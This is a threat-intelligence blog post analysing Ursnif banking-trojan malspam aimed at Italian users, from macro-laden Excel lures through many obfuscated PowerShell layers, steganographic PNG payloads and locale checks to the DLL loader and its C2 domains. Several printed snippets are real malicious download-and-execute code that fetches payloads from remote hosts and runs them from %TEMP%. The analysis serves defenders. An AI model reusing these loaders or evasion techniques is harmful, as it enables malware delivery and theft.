How Ursnif Evolves to Keep Threatening Italy

For months the Italian users have been targeted by waves of malspam delivering infamous Ursnif variants, Yoroi-Cybaze ZLab detailed its evolution.

Introduction

For months the Italian users have been targeted by waves of malspam delivering infamous Ursnif variants. Yoroi-Cybaze ZLab closely observed these campaigns and analyzed them to track the evolution of the techniques and the underlined infection chain, noticing an increasing sophistication. For instance, the latest waves increased their target selectivity abilities by implementing various country-checks and their anti-analysis capabilities through heavy code obfuscation.

In our previous post, we enumerated the delivery methods and the principal TTPs of the attackers behind the Ursnif mlaware threat. Indeed, in this report we’ll describe the increasing complexity of more recent infection chains, counting more than ten level of obfuscation in addition to a new steganography technique designed for Windows 10 machines.

Technical Analysis

Hash c86d3ab048976eb70d64409f3e7277ec40d6baf9ba97bcf4882e504fb26b5164
Threat Microsoft Excel malicious document
Brief Description Malicious macro
Ssdeep 1536:9n1DN3aMePUKccCEW8yjJTdrBZq8/Ok3hOdsylKlgryzc4 bNhZFGzE+cL2knA5xG:9n1DN3aM+UKccCEW8yjJTdrBZq8/Ok3B

Table 1: Static info about the Ursnif Dropper

The attackers are still leveraging malicious Excel documents to lure their targets to start  the infection chain, which are required to enable the macro code hidden inside these kind of vectors.

Once opened, a fake obfuscated image invites the victim to enable the content in order to start the malicious macro (as shown in Figure 1 on the left). However, moving the blurred  figure away reveals the cell A1 contains hidden code: its content is a Base64 encoded script.

Figure 2: Snippet of the macro code

As shown, the macro retrieves the content from the first cell of the document and it subsequently concatenates it with the content of the six rows below the first one. Its execution starts the “powershell stage” of the infection: a long series of multi-layered obfuscated scripts.

powershell.exe -EP bYpass IEx (‘$w=’OBFUSCATED PAYLOAD ZERO‘;$v=[IO.COmpresSIon.comPresSiONmOde];$j=20*60;sal M neW-OBJeCt;$e=[TexT.ENcoDiNG]::ASCiI;(M io.sTreAmreAdER((M Io.coMPREsSIoN.dEfLatesTReam([Io.meMORySTrEam][CoNVERt]::FRomBase64STRINg($w),$v::decOMpREss)),$e)).reaDTOEnD()|&($PshOME[4]+$PshoMe[34]+”x”)’)

Code Snippet 1

The Powershell Stage

In the first layer we noticed the declaration of the variable “$j”, used in the next step of the obfuscation to delay the execution of the script through Sleep library function invocations:

$b=’i’+$sHeLlid[13]+’X’;if ([Environment]::OSVersion.Version.Major -ne ’10’) {Sleep $j;.($b)(M sYSTEm.Io.CoMpresSiOn.DEFlatestReam([sySTeM.Io.MeMoRYsTREAm] [cOnveRt]::FrOMbASe64stRinG(‘ OBFUSCATED PAYLOAD ONE ‘),$v::DecOMprESs)|%{M syStEM.Io.sTReAmrEADEr($_,[TexT.ENcoDiNG]::ASCIi)}).READtoenD()}else {$h=’$y=@( OBFUSCATED PAYLOAD TWO)’.replace(‘c’,’,0,’);$h=$h.replace(‘b’,’,101,’);$h=$h.replace(‘a’,’,0,0,0,’);.($b)($h);[Reflection.Assembly]::Load([byte[]]$y)|Out-Null;.($b)([SA.Sii]::pf())}

Code snippet 2

The interesting peculiarity of this stage is the check for Windows version installed on the victim machine. The highlighted code shows an “if” condition to choose which branch of the infection chain should be executed. If the target version is not Windows 10, the malware runs the content of “OBFUSCATED PAYLOAD ONE” (the other branch is discussed on “The Windows 10 Branch” section) . Digging into the “payload one” branch, the next step is:

&(“{1}{0}” -f’x’,’IE’) (((‘.(D’+’Nn’+'{0’+’}{1’+’}DN’+’n-f’+(“{0}{1}”-f ‘ fI’,’Qs’)+(“{0}{1}”-f ‘fIQ’,’,’)+(“{0}{1}” -f’fIQ’,’a’)+(“{0}{1}”-f’lfI’,’Q’)+(((“{0}{1}{2}” -f ‘)’,’ Dfi i’,’ex’)))+’;.’+'(‘+’DNn{0}{‘+’1}DNn’+’ ‘+’-f’+’fI’+(“{0}{3}{2}{1}” -f ‘QS’,’Q’,’Q,fI’,’afI’)+’lf’+(((“{0}{2}{1}”-f’I’,’L n’,’Q) ‘)))+’e’+(“{2}{1}{0}”-f’;’,’t’,’w-objeC’)+’f’+’1’+’e{c’+’1}=((‘+'(DN’+’n{‘+’6’+’}’+'{3}’+'{10}’+'{‘+’4}{8}{‘+’5’+’}{‘+’2’+’}{11’+’}{‘+’1}{9}{0’+’}{7}DNn -f fIQ’+’w’+’f’+(“{0}{2}{1}{3}” -f’IQ,f’,’awfI’,’IQ’,’Q,fI’)+(“{2}{1}{0}”-f’ ‘,’me’,’QNa’)+’Df’+’I’+(“{0}{1}” -f’Q,’,’fIQ’)+’dd’+(“{0}{1}”-f’-T’,’fI’)+(“{1}{0}”-f ‘Q’,’Q,fI’)+’-Af’+’IQ,’+(“{1}{0}” -f ‘Qb’,’fI’)+(“{0}{1}{2}” -f’l’,’yfIQ,’,’fIQA’)+(“{1}{0}”-f ‘,f’,’fIQ’)+’IQ’+(“{0}{1}”-f’;f’,’IQ,’)+’f’+’I’+(“{1}{0}” -f’sse’,’Q’)+(“{0}{1}{2}” -f ‘m’,’fI’,’Q,fIQi’)+’n’+(“{1}{0}” -f’D6fI’,’g’)+(“{1}{0}” -f ‘,fIQype’,’Q’)+(“{0}{1}” -f ‘ ‘,’fIQ’)+’,’+(“{0}{1}”-f ‘fIQ’,’6wSyst’)+(“{0}{2}{1}” -f ’em.D’,’f’,’r’)+(((“{1}{3}{2}{0}”-f ‘reS1ZP’,’IQ)).D’,’n’,’N’)))+’L’+(((“{1}{0}{2}” -f ‘C’,’A’,’eDNn(([‘)))+(“{1}{2}{3}{0}” -f ‘A’,’ChA’,’r]68+’,'[Ch’)+’r]’+(“{0}{1}” -f ’54’,’+[‘)+(“{1}{0}” -f’1′,’ChAr]1′)+’9’+’),[‘+’sT’+’ri’+(“{1}{0}”-f’][C’,’NG’)+’hA’+(“{0}{1}” -f’r]’,’39’)+’));’+’f1e{c2}’+’=’+’f’+’I’+(“{1}{0}”-f’f1e’,’Q’)+’tm’+’=f’+’IQ’+(“{1}{0}” -f’h’,’fIQ’)+’t’+(“{0}{1}” -f’tps:’,’/’)+(“{1}{0}” -f ‘ima’,’/’)+’ges’+(“{0}{1}”-f ‘2.imgb’,’o’)+’x’+’.c’+’o’+’m/d’+’8’+(“{1}{2}{0}”-f’u’,’/0′,’e/eyGV’)+’p7s’+’_o.’+(“{1}{0}” -f’fIQ’,’pngfIQ’)+’;f’+’1e’+’r’+’y =’+(“{0}{1}” -f’ [Sys’,’te’)+’m.N’+(“{1}{0}”-f’ebR’,’et.W’)+’equ’+’es’+(“{0}{1}{2}”-f ‘t’,’]::’,’Creat’)+(((“{0}{1}” -f ‘e(‘,’f1e’)))+’t’+’m);’+(“{0}{1}” -f ‘f1′,’ery’)+’.Me’+(“{1}{0}” -f ‘od =’,’th’)+’ f’+’I’+’QfI’+’QH’+(“{0}{1}” -f’E’,’ADf’)+(“{1}{2}{0}”-f ‘;f1′,’IQ’,’fIQ’)+’e’+’ra’+’ ‘+’= f’+(“{0}{1}” -f ‘1e’,’ry.’)+’G’+’etR’+’es’+(“{0}{1}” -f ‘pon’,’s’)+(“{1}{2}{0}”-f ‘g’,’e(‘,’);f1e’)+’=’+’L ‘+’Sy’+’st’+’e’+’m’+’.’+’D’+’ra’+(((“{4}{3}{2}{0}{1}”-f’m’,’ap((‘,’t’,’g.Bi’,’win’)))+’L’+’ ‘+(“{1}{2}{0}” -f’ebC’,’Net.’,’W’)+(((“{2}{1}{3}{0}” -f’.Ope’,’ien’,’l’,’t)’)))+’n’+’Rea’+(((“{1}{0}{2}” -f’t’,’d(f1e’,’m))’)))+(“{2}{0}{1}” -f ‘eo=’,’L’,’;f1′)+’ B’+’yte’+(“{1}{0}”-f ‘ 165′,'[]’)+’60’+(((“{0}{1}” -f ‘;’,'(0..’)))+’35)’+’uXc’+’%’+'{‘+(((“{2}{0}{1}” -f’each’,'(f’,’for’)))+’1ex’+(((“{1}{0}” -f’in(‘,’ ‘)))+’0.’+’.4’+’59)’+’){f’+’1ep’+(“{0}{1}”-f’=f’,’1e’)+(“{1}{0}” -f ‘et’,’g.G’)+(((“{0}{1}{3}{2}”-f ‘Pixe’,’l(‘,’ex,’,’f1′)))+(((“{1}{0}{2}” -f ‘1e_’,’f’,’);’)))+’f1’+’e’+(“{2}{1}{0}”-f ‘6’,’1e_*4′,’o[f’)+’0+f’+’1’+’e’+’x’+(((“{0}{1}{3}{2}”-f’]=(‘,'[math]’,’F’,’::’)))+’lo’+(((“{0}{1}” -f’o’,’r((f’)))+’1’+’ep.’+(((“{1}{0}”-f ’15)’,’B-band’)))+’*’+’16)’+’-b’+’o’+’r(f1e{‘+’P’+’}.DN’+(“{1}{2}{0}”-f ‘Nn-b’,’ng’,’D’)+’a’+(“{0}{1}” -f ‘n’,’d 15′)+’))’+’};f1ekk=’+'[S’+(“{0}{1}{2}”-f’yste’,’m’,’.Tex’)+’t.’+(“{0}{2}{1}”-f ‘En’,’di’,’co’)+(“{0}{1}{2}” -f’n’,’g]::UT’,’F8′)+(“{1}{0}{2}”-f ‘Get’,’.’,’Str’)+(((“{0}{1}” -f’ing’,'(‘)))+’f’+’1eo’+'[‘+’0.’+’.’+’162’+’8’+’6])}fIQ;&’+'(D’+’Nn{‘+’0}{1}DNn -ffI’+(“{0}{1}” -f’Qd’,’fIQ,’)+’fI’+(((“{0}{1}” -f ‘Qfi’,’fIQ) ‘)))+’f1e’+’C1f’+’1ec’+(“{0}{1}”-f’2uX’,’c’)+’&(DNn{1}{0’+’}DN’+’n’+’-‘+(“{1}{0}” -f ‘fIQ’,’f’)+(“{2}{1}{0}” -f ‘,f’,’Q’,’ifI’)+’IQ’+(((“{1}{0}{2}”-f’IQ’,’dff’,’);f’)))+’1e{kk}uXc.(DN’+’n’+'{1’+’}’+'{0}D’+’N’+’n-f’+(“{1}{2}{0}”-f’Q’,’fIQi’,’fI’)+’,’+’f’+’IQd’+’ffI’+’Q)’)-CrePlacE([CHAr]68+[CHAr]78+[CHAr]110),[CHAr]34  -REPLace([CHAr]117+[CHAr]88+[CHAr]99),[CHAr]124 -CrePlacE’f1e’,[CHAr]36 -REPLace ([CHAr]83+[CHAr]49+[CHAr]90),[CHAr]96 -CrePlacE ([CHAr]102+[CHAr]73+[CHAr]81),[CHAr]39) )

Code snippet 3

Resulting in the following snippet:

.(“{0}{1}”-f ‘s’,’al’) Dfi iex;.(“{0}{1}” -f’Sa’,’l’) L new-objeCt;${c1}=(((“{6}{3}{10}{4}{8}{5}{2}{11}{1}{9}{0}{7}” -f ‘w’,’aw’,’Name D’,’dd-T’,’-A’,’bly’,’A’,’;’,’ssem’,’ingD6′,’ype ‘,’6wSystem.Dr’)).”re`PLACe”(([ChAr]68+[ChAr]54+[ChAr]119),[sTriNG][ChAr]39));${c2}=’$tm=”https://images2.imgbox.com/d8/0e/eyGVup7s_o.png”;$ry = [System.Net.WebRequest]::Create($tm);$ry.Method = ”HEAD”;$ra = $ry.GetResponse();$g=L System.Drawing.Bitmap((L Net.WebClient).OpenRead($tm));$o=L Byte[] 16560;(0..35)|%{foreach($x in(0..459)){$p=$g.GetPixel($x,$_);$o[$_*460+$x]=([math]::Floor(($p.B-band15)*16)-bor(${P}.”g”-band 15))};$kk=[System.Text.Encoding]::UTF8.GetString($o[0..16286])}’;&(“{0}{1}” -f’d’,’fi’) $C1$c2|&(“{1}{0}”-f’i’,’df’);${kk}|.(“{1}{0}”-f’i’,’df’)

Code Snippet 4

This piece of code is quite familiar in the ursnif infection chains, it is responsible to download a particular PNG image from image sharing platforms, such as “imgbox.com”. The image contains further powershell code hidden through the LSB steganography techniques we already described.

Figure 3: Image downloaded by the script

The hidden code inside this apparently harmless picture is the following:

if((g`E`T-date -uformat (‘%B’)) -like (“{1}{0}”-f’gg*’,’*’)){& ( $vERboSEPrefeRENCE.TosTRInG()[1,3]+’x’-Join”)(New-OBJeCT  Io.COmpREssiOn.DefLatEStREAm( [Io.MemORySTream] [ConvErt]::fRoMBAse64STrING(‘ OBFUSCATED PAYLOAD THREE ‘ ), [Io.compREsSIon.ComPrEssIoNmODE]::dECOMprEsS ) | foreaCH-obJect{ New-OBJeCT SYstEM.io.StreAmREAdER($_,[TExt.ENcodINg]::ASCII )}).reADtoEnD()}

Code Snippet 5

Closely observing the first line of code, is possible to notice this code will be executed only if a particular condition is met: it retrieves the current date, extracting the month field, in this case is May (“Maggio” in Italian) and compares it to the regular expression “*gg*”. This check ensures the target user is Italian and the sample is run according to the campaign timespan. Once the condition is met, the “OBFUSCATED PAYLOAD THREE” is executed revealing another obfuscated layer.

” $( sET  ‘OFs’ ”)”+ [sTRiNG]( ‘ OBFUSCATED PAYLOAD FOUR ‘ -sPLIT’@’-sPLiT ‘&’ -SPlIt ‘B’-spLIT’t’-SPliT ‘Y’-spLiT ‘e’-spLIt ‘:’ -sPLIt'<‘ -sPLIt ‘m’-SPLit ‘n’ | FOrEACh-obJEcT{ ([CoNvERt]::ToinT16(( $_.tOStrinG() ) , 8)-AS[chaR]) }) +” $( Set-itEM  ‘VArIAblE:ofS’ ‘ ‘ )” |&((gV ‘*mdR*’).nAME[3,11,2]-JOIn”)

Code Snippet 6

This fourth payload is substantially hex encoded with the addition of other particular chars and can be reconstructed using the “[Convert]::ToInt16()” function, unveiling another layer:

(NeW-ObJEct syStEm.iO.compReSsIOn.dEfLatESTrEAM([Io.MeMoRySTReAm] [sYsteM.COnveRT]::fRombAsE64sTRINg(‘ OBFUSCATED PAYLOAD FIVE ‘),[sYstEm.Io.CompREsSIoN.cOmprEsSIonmoDE]::DeCoMPress )| FOrEACH {NeW-ObJEct SYstem.iO.StREaMREadER($_, [sYsTEm.tExT.eNCodinG]::aSCii )}).Readtoend() | & ( $enV:COmSpeC[4,26,25]-join”)

Code snippet 7

Fifth payload is a compressed Base64-encoded string immediately decompressed and executed, enabling even a sixth step:

(‘ OBFUSCATED PAYLOAD SIX ‘.SpLit( ‘V%JLg<,t}y’)|foreaCh{[cHaR]( $_-bxOr’0x52′ )}) -jOIn ”| & ((vaRiABlE ‘*MDR*’).NamE[3,11,2]-join”)

Code Snippet 8

This layer is quite different because it contains a junk-char enriched hexadecimal code, actually XOR encrypted with the 0x52 key. Its result is:

. ((vari`A`BlE (“{1}{0}” -f’r*’,’*md’)).”n`Ame”[3,11,2]-jOiN”) ((‘&(iIm{0}{1}iIm-f6c0wr6c0,6c0it’+’e’+(“{9}{4}{1}{10}{0}{7}{5}{6}{8}{2}{3}”-f’00000000′,’0′,’000;&’,'(‘,’) 0′,’00’,’0′,’0000000′,’00000′,’6c0′,’0′)+’iIm{1}{0}iIm-f 6c0p6c0,6c0slee6c0) (5*20);i’+(((“{6}{5}{2}{4}{0}{3}{7}{8}{1}{9}”-f ‘+’,’0Xb’,’ ((6c0HKC’,’6c0′,’6c0′,’6c0)’,’f((&(6c0gp’,’U:6c0+’,’6c’,’D’)))+(“{7}{0}{8}{2}{3}{9}{1}{6}{4}{5}{10}” -f’6c0+6′,’c0b’,’6c0′,’+6c0′,’c0+6c0Deskt6c0+’,’6c’,’D6′,’Con’,’c0trol ‘,’PanelX6c0+6′,’0op6c’)+(“{8}{10}{6}{2}{1}{0}{9}{3}{7}{4}{5}”-f ‘(‘,’E’,’c’,’CHar]88′,’]98′,’+[CHar]’,’la’,’+[CHar’,’0) -cRE’,'[‘,’p’)+(((“{1}{0}{2}” -f’8),[C’,’6′,’Har’)))+’]92) o6F .(iIm{0}{1}iIm-f 6c0Sele6c0,6c0ct6c0) -Property (6c0*6c0)).iImprEFEr4xTRE4xTD’+(“{0}{1}{2}” -f’U4x’,’T’,’I4xTl’)+(“{0}{3}{1}{2}” -f ‘A’,’UAG’,’esiIm’,’NG’)+(((“{0}{2}{1}{3}”-f’ -l’,’ke (‘,’i’,’6c0′)))+’*t-6c0+6c0I*6c0)){lH0{gO}’+(((“{3}{1}{14}{2}{16}{7}{0}{6}{5}{9}{12}{10}{13}{4}{11}{8}{15}” -f’6c0′,’c0htt’,’c0+6c0//’,’=(6′,’fo’,’tindef.6′,’a’,’d6c0+’,’/6c0+6c0///6c0+6c0/6c0+6c0/6c’,’c’,’c0in6c0+6c’,’6c0+6c0/’,’0+6′,’0′,’ps:6′,’0+6c0′,’newup’)))+(“{3}{5}{0}{1}{2}{4}”-f ‘..6′,’c0+’,’6c0..6c’,’/….6c0+6c0′,’0+’,’..’)+(“{1}{0}{2}{3}” -f ‘c0.e6c0+’,’6′,’6c0x’,’e’)+’6c0),iImiIm;foreach(lH0{u} in lH0{G4xTO}){Try{lH0{R4xTI} = iImlH0env:temp8SdTwain002.exei’+’Im;lH0{k4x’+’Tl} ‘+’= &(iIm{1}{2}{0}iIm -f6’+’c0ect6c0,6c0New-O6c0,6c0bj6c0) (iIm{5}{4}{1}{‘+’0}{3}{2}iIm-f6c0eb6c0,6c0tem.Net.W6c0,6c0t6c0’+’,6c0Clien6c0,6c0s6c0,6c0Sy6c0);lH0{K4xTL}.iImHEA4xTDErsiIm.(iIm{0}{1}iIm-f 6c0Ad6’+(((“{17}{26}{11}{0}{6}{16}{20}{1}{3}{23}{9}{13}{8}{22}{18}{19}{4}{14}{15}{21}{25}{24}{2}{5}{12}{7}{10}”-f’c’,’e((6c0′,’c0Win’,’use’,’,(6c0Moz’,’dow6′,’0′,’0+’,’-age’,’c0+’,’6c’,’,6′,’c’,’6c0r’,’illa6c0′,’+’,’d’,’c’,’6c0′,’t6c0)’,’6c0).Invok’,’6c0/5.’,’n6c0+’,’6′,’0+6′,’0 (6c’,’0′)))+(“{5}{1}{9}{7}{12}{2}{0}{11}{8}{3}{6}{10}{4}”-f ‘6’,’0+’,’in’,’6c0+6c0 ‘,’ ‘,’0s6c’,’x64;6′,’ NT 10.0; ‘,’;’,’6c0′,’c0+6c0′,’4′,’W’)+(“{6}{2}{0}{5}{4}{7}{1}{3}” -f’r’,’v:’,’0+6c0′,’66.06c0+6′,’+6c’,’6c0′,’6c’,’0′)+(((“{2}{6}{3}{0}{5}{4}{1}”-f’0+’,’+’,’c0) Gec6c0+6′,’0k6c’,’6c0′,’6c0o’,’c’)))+(“{2}{4}{8}{6}{1}{5}{0}{3}{7}”-f ’00’,’c0+6′,’6c0/206c0+’,’6c0+’,’6′,’c’,’016′,’6′,’c’)+(“{1}{0}”-f’001′,’c’)+(“{0}{1}{2}”-f ‘6’,’c0+6c’,’0′)+(“{1}{0}{2}”-f ‘+6′,’016c0′,’c0 Fi’)+(((“{0}{6}{9}{4}{8}{2}{7}{3}{5}{1}”-f’re6′,’006c0))’,’6′,’6c0+6′,’/’,’c’,’c0+6c’,’c0+6c06.’,’6′,’0fox’)))+’;lH0{KL}.(iIm{2}{1}{3}{0}iIm -f6c0e6c0,6c0nload6c0,6c0Do’+’w6’+’c0,6c0Fil6c0).Invoke(lH0{u}’+’, lH0{rI’+’});if((lH0{hO4xTst}.iImCurr’+’4xTentc4xTUl4xTTuREiImo6F .(iIm{1}{0}{2}iIm-f6c0t-Str’+(((“{2}{5}{0}{8}{3}{4}{10}{6}{7}{9}{1}” -f ‘0,6’,’0*a6c0′,’6′,’Ou6c0,’,’6c0′,’c’,’0)) -li’,’ke (‘,’c0′,’6c’,’ing6c’)))+’+6c0li*6c0)){&(iIm{0}{1}iIm-f6c’+’0’+(“{3}{2}{1}{0}” -f’0ps’,’c0,6c’,’6′,’Sa’)+’6c0’+’) lH0{RI};break}}Catch{.(iIm{‘+’2}{1}{3}{0}iIm-f 6c0ost6c0,6c0te-6c0,6c0Wri6c0,6c0H6c0) lH0{_}.iImExce4xTPt4xTiON’+(“{1}{2}{3}{0}{4}”-f’s’,’i’,’Im.iIm’,’ME’,’4xTs4xTAgE’)+’iIm}}}’).”r`EpLAcE”(([cHAR]111+[cHAR]54+[cHAR]70),[stRiNg][cHAR]124).(‘r’+’eplA’+’cE’).Invoke(‘8Sd’,’\’).”R`E`PLace”(([cHAR]52+[cHAR]120+[cHAR]84),[stRiNg][cHAR]96).”REp`la`Ce”(([cHAR]105+[cHAR]73+[cHAR]109),[stRiNg][cHAR]34).”r`e`pLaCE”(‘lH0’,[stRiNg][cHAR]36).”r`EplA`Ce”(([cHAR]54+[cHAR]99+[cHAR]48),[stRiNg][cHAR]39))

Code Snippet 9

At this point, the code is almost in clear. We noticed some additional replace operations to obfuscate the code, so we headed into the last step of the obfuscation:

&(“{0}{1}”-f’wr’,’ite’) 00000000000000000000000000000;&(“{1}{0}”-f ‘p’,’slee’) (5*20);if((&(‘gp’) ((‘HKC’+’U:’+’XbDCon’+’trol ‘+’PanelX’+’bD’+’Deskt’+’op’) -cREplacE([CHar]88+[CHar]98+[CHar]68),[CHar]92) | .(“{0}{1}”-f ‘Sele’,’ct’) -Property (‘*’)).”prEFEr`RE`DU`I`lANGUAGes” -like (‘*t-‘+’I*‘)){${gO}=(‘https:’+’//newupd’+’atindef.’+’in’+’fo’+’//’+’///’+’/’+’/’+’/….’+’….’+’..’+’.e’+’xe’),””;foreach(${u} in ${G`O}){Try{${R`I} = “$env:temp\Twain002.exe”;${k`l} = &(“{1}{2}{0}” -f’ect’,’New-O’,’bj’) (“{5}{4}{1}{0}{3}{2}”-f’eb’,’tem.Net.W’,’t’,’Clien’,’s’,’Sy’);${K`L}.”HEA`DErs”.(“{0}{1}”-f ‘Ad’,’d’).Invoke((‘use’+’r-agen’+’t’),(‘Mozilla’+’/5.0 (‘+’Window’+’s’+’ NT 10.0; Win64;’+’ x64;’+’ ‘+’r’+’v:66.0’+’) Gec’+’k’+’o’+’/20’+’1’+’0’+’01’+’01’+’ Fire’+’fox/6’+’6.’+’0′));${KL}.(“{2}{1}{3}{0}” -f’e’,’nload’,’Dow’,’Fil’).Invoke(${u}, ${rI});if((${hO`st}.”Curr`entc`Ul`TuRE”| .(“{1}{0}{2}”-f’t-Str’,’Ou’,’ing’)) -like (‘*a’+’li*’)){&(“{0}{1}”-f’Sa’,’ps’) ${RI};break}}Catch{.(“{2}{1}{3}{0}”-f ‘ost’,’te-‘,’Wri’,’H’) ${_}.”Exce`Pt`iON”.”MEs`s`AgE”}}}

Code Snippet 10

This is the last step, at least for the “powershell stage”. In fact, this step shows the purpose is to download a PE32 payload from a very hidden drop-site location, move it into %TEMP% path and run it.

The Loader

At this point, we analyzed an incredibly tricky series of obfuscated powershell snippets, but we don’t have to forget the PE32 payload.

Hash bb5dab56181dbb0e8f3f9182a32e584315cd1e6e2fedb2db350e597983f0e880
Threat Ursnif/Gozi
Brief Description Ursnif Loader
Ssdeep 3072:Zt9f0C4/DX3IVyvLUZPcQLdSWwTBFkdOlJ7Jo2QyiMpT uS5/y33lRzih:310C4/rtQLdHkFkA/Vq

Table 2: Static info about Ursnif Loader

This sample is the classic Ursnif DLL loader able to inject malicious code into the “explorer.exe” process. This particular sample has been downloaded from “loaidifds[.club” server.

Figure 4: Ursnif loader communication

The final payload is simply a base64-encoded Portable Executable file: the dll to be injected into the “explorer.exe” process.

The Payload

Hash abb8a8351bb83037db94cd2bb98a8f697260f32306c21a2198c6b7f1a3bd1957
Threat Ursnif Banking trojan
Brief Description Ursnif Malicious dll
Ssdeep 3072:czZRVXwQxvJfNkn7kXkFvnHoqlalhKWxSx3NUWvG5NpM3jteLb:QZRVXnxv1Nknqsgqlal4uEUWWN

Table 3: Static information about the Ursnif malicious DLL

This is a typical Ursnif malware payload. In order to extract some interesting data, we manually analyzed it.

Figure 5: Debugging view

Inspecting the dll, we noticed it embeds three C2 reference on its configuration. During the analysis, the first two C2s, filomilalno[.club and fileneopolo[.online, were still active. Moreover, analyzing the DLL we identified some other interesting configuration strings, which will be reported in the Configuration strings section.

The Windows 10 Branch

Back in “Code Snippet 2” we described the check about the Windows OS version installed. But this time, we proceed with the analysis of the other control-flow branch, the Windows 10 one:

$h=’$y=@( OBFUSCATED PAYLOAD TWO )’.replace(‘c’,’,0,’);$h=$h.replace(‘b’,’,101,’);$h=$h.replace(‘a’,’,0,0,0,’);.($b)($h);[Reflection.Assembly]::Load([byte[]]$y)|Out-Null;.($b)([SA.Sii]::pf())

Code Snippet 11

The structure of the instructions is quite easy: the PAYLOAD TWO actually is a sequence of decimal numbers immediately replaced with other chars. When the replacement is over, the payload is executed thanks to the following command:

[Reflection.Assembly]::Load([byte[]]$y)

This means, the content of the variable “$y” actually is a .NET Dynamic Linked Library. It has the following static information:

Figure 6: Static info about the encoded Ursnif dropper DLL hidden inside PAYLOAD TWO

The purpose of this DLL is to download another PNG image containing a series of commands, hidden through steganography techniques. Interestingly, the Library has no exported functions and the loaded code is directly invoked by the powershell command “([SA.Sii]::pf())“, in “Code Snippet 11”, retrieving class “Sii” inside namespace “SA” and invoking the static method “pf”:

Figure 7: Image downloading routine
Figure 8: Downloaded Image

The pf() method is designed to download the PNG image in Figure 8 from the legit “postimg[.cc” platform. In this case, the steganography technique is not the same as the one seen in the other branch, in fact the malware also uses a layer of the AES encryption. An avid readers could also notice the peculiarity of the encryption schema used in the DLL: the encryption not only provides confidentiality against on-the-wire steganalysis, but also provides an additional country-check to ensure the victim is one of the designed target. In fact, the decryption key is generated starting from the LCID property of the current “CultureInfo“, data structure providing information about calendar,language and locale in use on the machine.

Figure 9: Steganography and payload decryption routine

The return value of the “pf()” function is the payload hidden inside the figure above. Obviously, it is an obfuscated powershell script. As in the previous branch, the payload contains various heavily obfuscated layers, this time six.

Figure 10: Synthetic representation of the obfuscation layers of the powershell script

The sixth powershell stage of this branch contains  not only one country check, but two.

The first check is for the “HKCU:\Control Panel\Desktop” registry key, which must have  a “Preferred Languages” matching the “It” string, and the second one looks for the result of the powershell command “${host}.CurrentCulture” that have to match the substring “*ali*”, clearly referencing the Italian one.

 if((&(‘gp’) (((“{0}{4}{3}{1}{5}{2}”-f’HKCU:{0}Control P’,’}D’,’sktop’,’l{0′,’ane’,’e’))  -f [Char]92) | &(“{0}{1}” -f ‘Sele’,’ct’) -Property (‘*’)).”p`R`efeRR`EduiL`AnguA`gES” -like (“{1}{0}” -f’*’,’*t-I’)){${GO}=(“{0}{4}{3}{7}{1}{5}{6}{2}” -f’https://newupd’,’///……’,’e’,’f.info///’,’atinde’,’….’,’.ex’,’//’),””;foreach(${u} in ${GO}){Try{${RI} = “$env:temp\Twain002.exe”;${k`L} = .(“{1}{0}{2}” -f ‘ec’,’New-Obj’,’t’) (“{0}{4}{2}{3}{1}” -f ‘System.Ne’,’nt’,’Cl’,’ie’,’t.Web’);${Kl}.”Head`ers”.”A`DD”((“{2}{1}{0}{3}” -f’e’,’r-ag’,’use’,’nt’),(“{10}{14}{6}{12}{8}{5}{3}{7}{11}{13}{0}{2}{15}{9}{4}{1}”-f’64;’,’Firefox/66.0′,’ rv:6′,’ W’,’ ‘,’10.0;’,’o’,’in’,’ NT ‘,’ Gecko/20100101′,’Mozilla/5.0 (‘,’64; ‘,’ws’,’x’,’Wind’,’6.0)’));${k`L}.”DOWNl`oadf`ilE”(${u}, ${r`I});if((${h`osT}.“Cu`Rr`En`T`cultURe”| &(“{1}{0}{2}” -f’-Stri’,’Out’,’ng’)) -like (“{1}{0}”-f’i*’,’*al’)){.(“{0}{1}”-f ‘S’,’aps’) ${Ri};break}}Catch{&(“{2}{3}{1}{0}” -f’t’,’s’,’Write-‘,’Ho’) ${_}.”EXC`epTION”.”m`ES`SAge”}}}

Code snippet 12

After that, we retrieved the same payload described in section “The Loader”.

Conclusion

Cybaze-Yoroi ZLAB team analyzed many Ursnif related attacks in the past months, the recent ones are showing evidence of an increasing sophistication and complexity, especially in the weaponization phase of the attack killchain, in the preparation of such multi-layered and highly obfuscated infection chain to deliver the Ursnif payload.

Considering the volume and the insistence of this malware threat against the Italian panorama is clear the Threat Groups behind these attacks are strongly leveraging an automated weaponization of the attacks, investing resources, time and money to prepare these complex and geo-located infection chains. Indicating Italy is persistently targeted by cyber-crime actors who reached some degree of organizational maturity and keeps evolving their attack techniques, implying an increased risk for Italian Companies and Organizations.

Technical details, including IoCs and Yara Rules, are available in the analysis published the Yoroi blog.

https://blog.yoroi.company/research/how-ursnif-evolves-to-keep-threatening-italy/

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s